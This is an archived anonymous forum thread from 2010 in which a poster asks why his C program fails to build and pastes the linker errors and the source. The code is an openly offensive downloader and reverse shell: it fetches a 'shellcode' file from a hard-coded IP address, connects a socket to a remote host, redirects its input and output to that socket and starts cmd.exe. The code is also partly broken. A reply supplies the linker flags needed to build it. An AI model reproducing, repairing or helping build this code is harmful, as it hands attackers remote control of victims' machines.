Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-

Why my code does not to compile?

Name: Anonymous 2010-12-20 18:10

Why my code does not to compile?


C:\Documents and Settings\root\Мои документы>gcc shell.c -o shell.exe
C:\DOCUME~1\root\LOCALS~1\Temp\ccCKbnT0.o:shell.c:(.text+0x4a): undefined refere
nce to `URLDownloadToFileA@20'
C:\DOCUME~1\root\LOCALS~1\Temp\ccCKbnT0.o:shell.c:(.text+0x82): undefined refere
nce to `_imp__socket@12'
C:\DOCUME~1\root\LOCALS~1\Temp\ccCKbnT0.o:shell.c:(.text+0xc6): undefined refere
nce to `_imp__connect@12'
collect2: ld returned 1 exit status
 
C:\Documents and Settings\root\Мои документы>

this code

#include <unistd.h>
#include <winsock.h>
#include <wininet.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#pragma comment(lib, "urlmon.lib")
#pragma comment(lib, "wininet.lib")
#include <urlmon.h>
 
int soc;
struct sockaddr_in serv_addr; /*socket building*/
FILE  *myfile;
    void        (*fptr)(void);
int main(void) {
 
 LPCSTR URL;
 LPCSTR PATH;
 URL = "http://188.226.90.195/file.obj", 0; /*downloading shellcode from my PC*/
 
 PATH = "C:\\windows/temp/file.obj", 0; /*downloading to path*/
 
        URLDownloadToFile(0, URL, PATH, 0, 0); /*win32 api function downloading*/
 
 
myfile = fopen("C:\\windows/temp/file.obj", "r"); /*loading object assembly file for executing*/
 
soc = socket(2, 1, 0);
serv_addr.sin_addr.s_addr = 0XC35AE2BC;
serv_addr.sin_port = 0xaaaa;
serv_addr.sin_family = 2;
connect(soc, (struct sockaddr *)&serv_addr, 16);
dup2(soc, 0);
dup2(soc, 1);
dup2(soc, 2);
execve("c:\\windows/cmd.exe", 0, 0); /*возвращаю оболочку мастдайки*/
 
 
 
 
 void        (*fptr)(void);
 
 void *code; /*listing code from this pointer*/
 code = myfile; /*file to pointer*/
 
 
       fptr = (void (*)(void)) code; /*executing shellcode*/
        (*fptr)();
}

Name: Anonymous 2010-12-20 18:16

Name: Anonymous 2010-12-20 18:34

>>2
>Police Investigate Child Porn Video

Name: Anonymous 2010-12-20 23:25

It is compiling. It's failing to link because it can't find those three functions you used. Try also giving GCC the options -lurlmon -lws2_32 (link to the Urlmon library, which has the URLDownloadToFile function according to MSDN, and link to the Winsock library, which has the socket and connect functions).

Name: Anonymous 2011-02-04 14:07


Don't change these.
Name: Email:
Entire Thread Thread List